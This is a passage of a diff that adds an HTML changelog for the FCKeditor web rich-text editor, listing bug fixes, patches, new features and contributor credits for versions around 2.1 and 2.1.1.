+                                                                                               BUG-1101596</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1246952&amp;group_id=75348&amp;atid=543653">SF
+                                                                                                       BUG-1246952</a>] The URLs for links and
+                       images are now correctly preserved as entered, no matter if you are using relative
+                       or absolute paths. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1162809&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1162809</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1205638&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1205638</a>] The &quot;Image&quot; and &quot;Flash&quot;&nbsp;dialog windows
+                       now loads the preview correctly if the &quot;BaseHref&quot; configuration option
+                       is set. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1329807&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1329807</a>] The alert boxes are now showing correctly when doing cut/copy/paste
+                       operations on Firefox installations when it is not possible to execute that operations
+                       due to security settings. </li>
+               <li>A new &quot;Panel&quot; system (used in the drop-dowm toolbar commands, color selectors
+                       and context menu) has been developed. The following bugs have been fixed with it:
+                       <ul>
+                               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1186927&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1186927</a>] On IE, sometimes the context menu was being partially hidden.*
+                               </li>
+                               <li>On Firefox, the context menu was flashing in the wrong position before showing.
+                               </li>
+                               <li>On Firefox 1.5, the Color Selector was not working. </li>
+                               <li>On Firefox 1.5, the fonts in the panels were too big. </li>
+                               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1076435&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1076435</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1200631&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1200631</a>] On Firefox, sometimes the context menu was being shown in the
+                                       wrong position.</li>
+                       </ul>
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1364094&amp;group_id=75348">SF
+                       BUG-1364094</a>] Font families were <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=317572">
+                               not being rendered correctly on Firefox</a> . </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1315954&amp;group_id=75348">SF
+                       BUG-1315954</a>] No error is thrown when pasting some case specific code from editor
+                       to editor. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1341553&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1341553</a>] A small fix for a security alert in the File&nbsp;Browser has been
+                       applied. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1370953&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1370953</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1339898&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1339898</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1323319&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1323319</a>] A message will be shown to the user (instead of a JS error)&nbsp;if
+                       a &quot;popup blocker&quot; blocks the &quot;Browser Server&quot; button. Thanks
+                       to Erwin Verdonk. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1370355&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1370355</a>] Anchor links that points to a single character anchor, like &quot;#A&quot;,
+                       are now correctly detected in the Link dialog window. Thanks to Ricky Casey. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1368998&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1368998</a>] Custom error processing has been added to the file upload on the
+                       File Browser. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1367802&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1367802</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1207740&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1207740</a>] A message is shown to the user if a dialog box is blocked by
+                       a popup blocker in Firefox. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1358891&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1358891</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1340960&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1340960</a>] The editor not works locally (without a web server) on directories
+                       where the path contains spaces. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1357247&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1357247</a>] The editor now intercepts SHIFT + INS keystrokes when needed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1328488&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1328488</a>] <strong><font color="#ff0000">Attention</font></strong>: The Page
+                       Break command now produces different tags&nbsp;to avoid&nbsp;XHTML compatibility
+                       issues. Any Page Break previously applied to content produced with previous versions
+                       of FCKeditor will not me rendered now, even if&nbsp;they will still be working correctly.
+               </li>
+               <li>It is now possible to allow cut/copy/past operations on Firefox using the <a
+                       href="http://kb.mozillazine.org/Granting_JavaScript_access_to_the_clipboard"
+                       target="_blank">user.js</a> file. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1336792&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1336792</a>] A fix has been applied to the XHTML processor to allow tag names
+                       with the &quot;minus&quot; char (-). </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1339560&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1339560</a>] The editor now correctly removes the &quot;selected&quot; option
+                       for checkboxes and radio buttons. </li>
+               <li>The Table dialog box now selects the table correctly when right-clicking on objects
+                       (like images) placed inside the table. </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: A few changes have been
+                       made in the skins. If you have a custom skin, it is recommended you to make a diff
+                       of the fck_contextmenu.css file of the default skin with your implementation. </li>
+               <li>Mouse select (marking&nbsp;things in blue, like selecting text) has been disabled
+                       on panels (drop-down menu commands, color selector and context menu) and toolbar,
+                       for both IE and Firefox. </li>
+               <li>On Gecko, fake borders will not be applied to tables with the border attribute set
+                       to more than 0, but placed inside tables with border set to 0. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1360717&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1360717</a>] A wrapping issue in the &quot;Silver&quot; skin has been corrected.
+                       Thanks to Ricky Casey. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1251145&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1251145</a>] In IE, the focus is now maintained in the text when clicking in
+                       the empty area&nbsp;following it. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1181386&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1181386</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1237791&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1237791</a>] The &quot;Stylesheet Classes&quot; field in the Link dialog
+                       window in now applied correctly on IE. Thanks to Andrew Crowe. </li>
+               <li>The &quot;Past from Word&quot; dialog windows is now showing correctly on Firefox
+                       on some languages. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1315008&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1315008</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1241992&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1241992</a>] IE, when selecting objects (like images) and hitting the &quot;Backspace&quot;
+                       button, the browser's &quot;back&quot; will not get executed anymore and the object
+                       will be correctly deleted. </li>
+               <li>The &quot;AutoDetectPasteFromWord&quot; is now working correctly in IE. Thanks to
+                       Juan Ant. G&oacute;mez. </li>
+               <li>A small enhancement has been made in the Word pasting detection. Thanks to Juan
+                       Ant. G&oacute;mez. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090686&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1090686</a>] No more conflict with Firefox &quot;Type-Ahead Find&quot; feature.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=942653&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-942653</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155856&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1155856</a>] The &quot;width&quot; and &quot;height&quot; of images sized
+                       using the inline handlers are now correctly loaded in the image dialog box. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1209093&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1209093</a>] When &quot;Full Page Editing&quot; is active, in the &quot;Document
+                       Properties&quot; dialog, the &quot;Browse Server&quot; button for the page background
+                       is now correctly hidden if &quot;ImageBrowser&quot; is set to &quot;false&quot;
+                       in the configurations file. Thanks to Richard. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1120266&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1120266</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1186196&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1186196</a>] The editor now retains the focus when selecting commands in
+                       the toolbar. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1244480&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1244480</a>] The editor now will look first to linked fields &quot;ids&quot;
+                       and&nbsp;second to &quot;names&quot;. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1252905&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1252905</a>] The &quot;InsertHtml&quot; function now preserves URLs as entered.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1266317&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1266317</a>] Toolbar commands are not anymore executed outside the editor. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1365664&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1365664</a>] The &quot;wrap=virtual&quot; attribute has been removed from the
+                       integration files for validation purposes. No big impact. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=972193&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-972193</a>] Now just one click is needed to active the cursor inside the editor.
+               </li>
+               <li>The hidden fields used by the editor are now protected from changes using the &quot;Web
+                       Developer Add-On &gt; Forms &gt; Display Forms Details&quot; extension. Thanks to
+                       Jean-Marie Griess. </li>
+               <li>On IE, the &quot;Format&quot; toolbar dropdown now reflects the current paragraph
+                       type on IE. Because of a bug in the browser, it is quite dependent on the browser
+                       language and the editor interface language (both must be the same). Also, as the
+                       &quot;Normal (DIV)&quot; type is seen by IE as &quot;Normal&quot;, to avoid confusion,
+                       both types are ignored by this fix. </li>
+               <li>On some very rare cases, IE was loosing the &quot;align&quot; attribute for DIV
+                       tags. Fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1388799&amp;group_id=75348">SF
+                       BUG-1388799</a>] The code formatter was removing spaces on the beginning of lines
+                       inside PRE tags. Fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1387135&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1387135</a>] No more &quot;NaN&quot; values in the image dialog, when changing
+                       the sizes in some situations. </li>
+               <li>Corrected a small type in the table handler. </li>
+               <li>You can now set the &quot;z-index&quot; for floating panels (toolbar dropdowns,
+                       color selectors, context menu) in Firefox, avoiding having them hidden under another
+                       objects. By default it is set to 10,000. Use the FloatingPanelsZIndex configuration
+                       option to change this value.</li>
+       </ul>
+       <p>
+               <strong>Special thanks</strong> to <a target="_blank" href="https://sourceforge.net/users/alfonsoml/">
+                       Alfonso Martinez</a>, who have provided many patches and suggestions for the
+               following features / fixes present in this version. I encourage all you to <a href="https://sourceforge.net/donate/index.php?user_id=1356422">
+                       donate</a> to Alfonso, as a way to say thanks for his nice open source approach.
+               Thanks Alfonso!. Check out his contributions:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1364094&amp;group_id=75348">SF
+                       BUG-1352539</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1208348&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1208348</a>] With Firefox, no more &quot;fake&quot; selections are appearing
+                       when inserting images, tables, special chars or when using the &quot;insertHtml&quot;
+                       function. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543655&amp;aid=1382588&amp;group_id=75348">SF
+                       Patch-1382588</a>] The &quot;FCKConfig.DisableImageHandles&quot; configuration option
+                       is not working on Firefox 1.5. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1368586&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1368586</a>] Some fixes have been applied to the Flash dialog box and the
+                       Flash pre-processor. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1360253&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1360253</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1378782&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1378782</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1305899&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1305899</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1344738&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1344738</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1347808&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1347808</a>] On dialogs, some fields&nbsp;became impossible
+                       to select or change when using Firefox. It has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1357445&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1357445</a>] Add support for DIV in the Format drop-down combo for Firefox.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1350465&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1350465</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1376175&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1376175</a>] The &quot;Cell Properties&quot; dialog now works correctly
+                       when right-clicking in an object (image, for example) placed inside the cell itself.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1349166&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1349166</a>] On IE, there is now support for namespaces on tags names. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1350552&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1350552</a>] Fix the display issue when applying styles on tables. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1352320&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1352320</a> ] Fixed&nbsp;a wrong&nbsp;usage of the &quot;parentElement&quot;
+                       property on Gecko. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1355007&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1355007</a>] The new &quot;FCKDebug.OutputObject&quot; function is available
+                       to dump all object information in the debug window. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1329500&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1329500</a>] It is now possible to delete table columns when clicking on a
+                       TH cell of the column. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1315351&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1315351</a>] It is now possible to pass the image width and height to the
+                       &quot;SetUrl&quot; function of the Flash dialog box. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1327384&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1327384</a>] TH tags are now correctly handled by the source code formatter
+                       and the &quot;FillEmptyBlocks&quot; configuration option. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1327406&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1327406</a>] Fake borders are now displayed for TH elements on tables with
+                       border set to 0. Also, on Firefox, it will now work even if the border attribute
+                       is not defined and the borders are not dotted. </li>
+               <li>Hidden fields now get rendered on Firefox. </li>
+               <li>The BasePath is now included in the debugger URL to avoid problems when calling
+                       it from plugins.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a target="_blank" href="http://www.alkacon.com">
+                       Alkacon Software</a>.</p>
+       <h3>
+               Version 2.1.1</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The new &quot;<strong>Insert Page Break</strong>&quot;&nbsp;command (for printing)&nbsp;has
+                       been introduced.* </li>
+               <li>The editor package now has a root directory called &quot;FCKeditor&quot;.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1326285&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1326285</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1316430&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1316430</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1323662&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1323662</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1326223&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1326223</a>] We are doing a little step back with this version.
+                       The ENTER and BACKSPACE behavior changes for Firefox have been remove. It is a nice
+                       feature, but we need much more testing&nbsp;on it. It introduced some bugs and so
+                       its preferable to not have that feature, avoiding problems (even if that feature
+                       was intended to solve some issues). </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1289372&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1275714</a>] Comments in the beginning of the source are now preserved when
+                       using the &quot;undo&quot; and &quot;redo&quot; commands. </li>
+               <li>The &quot;undo&quot; and &quot;redo&quot; commands now work for the Style command.
+               </li>
+               <li>An error in the execution of the pasting commands on Firefox has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1326184&amp;group_id=75348">SF
+                       BUG-1326184</a>] No strange (invalid) entities are created when using Firefox. Also,
+                       the &amp;nbsp; used by the FillEmptyBlocks setting is maintained even if you disable
+                       the ProcessHTMLEntities setting.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a target="_blank" href="http://www.acttive.com.br/">
+                       Acctive Software&nbsp;S.A.</a>.</p>
+       <h3>
+               Version 2.1</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1200328&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1200328</a>] The editor now offers a way to &quot;protect&quot; part of the
+                       source to remain untouched while editing or changing views.&nbsp;Just use the &quot;FCKConfig.ProtectedSource&quot;
+                       object to configure it and customize to your needs. It is based on regular expressions.
+                       See fckconfig.js for some samples. </li>
+               <li>The editor now offers native support for <strong>Lasso</strong>. Thanks and welcome&nbsp;to
+                       our new developer Jason Huck. </li>
+               <li>New language files are available:
+                       <ul>
+                               <li><strong>Faraose</strong> (by S&iacute;min Lassaberg and&nbsp;Helgi Arnthorsson)
+                               </li>
+                               <li><strong>Malay</strong> (by Fairul Izham Mohd Mokhlas) </li>
+                               <li><strong>Mongolian</strong> (by Lkamtseren Odonbaatar) </li>
+                               <li><strong>Vietnamese</strong> (by Phan Binh Giang)</li>
+                       </ul>
+               </li>
+               <li>A new configurable&nbsp;ColdFusion connector is available. Thanks to Mark Woods.
+                       Many enhancements has been introduced with it. </li>
+               <li>The PHP connector for the default File Browser now sorts the folders and files names.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1289372&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1289372</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1282758&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1282758</a>] In the PHP connector it is now possible to set the absolute
+                       (server) path to the User Files directory, avoiding problems with Virtual Directories,
+                       Symbolic Links or Aliases. Take a look at the config.php file. </li>
+               <li>The ASP.Net uploader (for Quick Uploads) has been added to the package. </li>
+               <li>A new way to define <strong>simple &quot;combo&quot; toolbar items</strong> , like
+                       Style and Font, has been introduced.&nbsp;Thanks&nbsp;to Steve Lineberry.&nbsp;See
+                       sample06.html and the &quot;simplecommands&quot; plugin&nbsp;to fully understand
+                       it. </li>
+               <li>A new test case has been added that shows how to set the editor background dynamically
+                       without using a CSS. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155906&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1155906</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1110116&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1110116</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1216332&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1216332</a>] The &quot;AutoDetectPasteFromWord&quot; configuration option
+                       is back (IE only feature). </li>
+               <li>The&nbsp;new &quot;OnAfterLinkedFieldUpdate&quot; event has been introduced. If
+                       is fired when the editor updates its hidden associated field. </li>
+               <li>Attention: The color of the right border of the toolbar (left on RTL interfaces)
+                       has been moved from code to the CSS (TB_SideBorder class). Update your custom skins.
+               </li>
+               <li>A&nbsp;sample &quot;htaccess.txt&quot; file has been added to the editor's package
+                       to show how to configure some Linux sites that could present problems on Firefox
+                       with &quot;Illegal characters&quot; errors. Respectively the &quot;&iuml;&raquo;&iquest;&quot;
+                       chars. </li>
+               <li>With the JavaScript, ASP and PHP integration files, you can set the QueryString
+                       value &quot;fcksource=true&quot; to load the editor using the source files (located
+                       in the _source directory) instead of the compressed ones. Thanks to Kae Verens for
+                       the suggestion. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1246623&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1246623</a>] The new configuration option &quot;ForceStrongEm&quot; has
+                       been introduced so you can force the editor to convert all &lt;B&gt; and &lt;I&gt;
+                       tags to &lt;STRONG&gt; and &lt;EM&gt; respectively. </li>
+               <li>A nice contribution has been done by Goss Interactive Ltd:
+                       <ul>
+                               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1246949&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1246949</a>] Implemented ENTER key and BACKSPACE key handlers for Gecko so that
+                                       P tags (or an appropriate block element) get inserted instead of BR tags when not
+                                       in the UseBROnCarriageReturn config mode.
+                                       <br />
+                                       The ENTER key handling has been written to function much the same as the ENTER key
+                                       handling on IE : as soon as the ENTER key is pressed, existing content will be wrapped
+                                       with a suitable block element (P tag) as appropriate and a new block element (P
+                                       tag) will be started.
+                                       <br />
+                                       The ENTER key handler also caters for pressing ENTER within empty list items - ENTER
+                                       in an empty item at the top of a list will remove that list item and start a new
+                                       P tag above the list; ENTER in an empty item at the bottom of a list will remove
+                                       that list item and start a new P tag below the list; ENTER in an empty item in the
+                                       middle of a list will remove that list item, split the list into two, and start
+                                       a new P tag between the two lists. </li>
+                               <li>Any tables that are found to be incorrectly nested within a block element (P tag)
+                                       will be moved out of the block element when loaded into the editor. This is required
+                                       for the new ENTER/BACKSPACE key handlers and it also avoids non-compliant HTML.&nbsp;
+                               </li>
+                               <li>The InsertOrderedList and InsertUnorderedList commands have been overridden on Gecko
+                                       to ensure that block elements (P tags) are placed around a list item's content when
+                                       it is moved out of the list due to clicking on the editor's list toolbar buttons
+                                       (when not in the UseBROnCarriageReturn config mode). </li>
+                       </ul>
+               </li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1253255&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1253255</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1253255&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1265520</a>] Due to changes on version 2.0, the anchor list was not anymore
+                       visible in the link dialog window. It has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1242979&amp;group_id=75348">SF
+                       BUG-1242979</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1251354&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1251354</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1256178&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1256178</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1274841&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1274841</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1303949&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1303949</a>] Due to a bug on Firefox, some keys stopped working
+                       on startup over Firefox. It has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1251373&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1251373</a> ] The above fix also has&nbsp;corrected some strange behaviors on
+                       Firefox. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1144258">SF
+                       BUG-1144258</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?group_id=75348&amp;atid=543653&amp;func=detail&amp;aid=1092081">SF
+                               BUG-1092081</a>] The File Browsers now run on the&nbsp;same server session used
+                       in the page where the editor is placed in (IE issue). Thanks to Simone Chiaretta.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1305619&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1305619</a> ] No more repeated login dialogs when running the editor with Windows
+                       Integrated Security with IIS. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1245304&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1245304</a>] The Test Case 004 is now working correctly. It has been changed
+                       to set the editor hidden at startup. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1290610&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1290610</a> ] Over HTTPS, there were some warnings when loading the Images,
+                       Flash and Link dialogs. Fixed. </li>
+               <li>Due to Gecko bugs, two errors were thrown when loading the editor in a hidden div.
+                       Workarounds have been introduced. In any case, the testcase 004 hack is needed when
+                       showing the editor (as in a tabbed interface). </li>
+               <li>An invalid path in the dialogs CSS file has been corrected. </li>
+               <li>On IE, the Undo/Redo can now be controlled using the Ctrl+Z and Ctrl+Y shortcut
+                       keys. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1295538&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1295538</a> ] A few Undo/Redo fixes for IE have been done. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1247070&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1247070</a>] On Gecko, it is now possible to use the shortcut keys for Bold
+                       (CTRL+B), Italic (CTRL+I) and Underline (CTRL+U), like in IE. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1274303&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1274303</a>] The &quot;Insert Column&quot; command is now working correctly
+                       on TH cells. It also copies any attribute applied to the source cells. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1287070&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1287070</a> ] In the Universal Keyboard, the Arabic keystrokes translator
+                       is now working with Firefox. Thanks again to Abdul-Aziz Al-Oraij. </li>
+               <li>The editor now handles AJAX requests with HTTP status 304. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1157780&amp;group_id=75348&amp;atid=543653">SF
